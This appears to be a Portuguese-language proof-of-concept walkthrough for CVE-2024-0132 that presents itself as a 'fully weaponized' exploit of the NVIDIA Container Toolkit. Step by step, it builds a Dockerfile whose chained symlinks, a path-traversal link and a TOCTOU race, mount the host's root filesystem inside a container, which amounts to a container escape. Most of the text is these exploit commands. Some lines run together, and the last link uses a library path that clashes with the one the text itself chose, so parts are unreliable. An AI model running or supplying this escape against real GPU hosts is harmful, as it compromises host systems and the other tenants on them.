
CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit
CVE-2024-0132 PoC
Vamos começar decidindo uma imagem base. A disposição das bibliotecas no sistema depende do que ela será. Por exemplo, para alpine será /usr/lib64/, para ubuntu será /usr/lib/x86_64-linux-gnu. Usaremos ubuntu como imagem base.
FROM ubuntu
O nvidia container toolkit verifica as bibliotecas em /usr/local/cuda/compat/ dentro do contêiner e então as monta no diretório principal de bibliotecas; para esta imagem (ubuntu), isso seria /usr/lib/x86_64-linux-gnu.
Links também são montados, então você pode montar qualquer arquivo e diretório da imagem para /usr/lib/x86_64-linux-gnu. Isso verifica se o link é resolvido dentro do contêiner; não pode usar múltiplos ../ para path traversal. No entanto, isso pode ser contornado usando a montagem dentro do contêiner via /usr/local/cuda/compat/ duas vezes, daí TOCTOU.
Leia mais sobre o mecanismo de montagem a partir de /usr/local/cuda/compat/:
RUN mkdir -p /usr/local/cuda/compat/
Crie dois diretórios:
testRUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
O nome libdxcore.so é escolhido para satisfazer os filtros. A versão principal (1337) deve ser diferente da versão real do driver.
Crie dois links em /usr/local/cuda/compat/:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ por /pwn/libdxcore.so.1337/RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs para /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Durante a verificação será um arquivo normal, mas no momento da montagem será um link que estava em /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, assim o sistema de arquivos do host será montado em /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2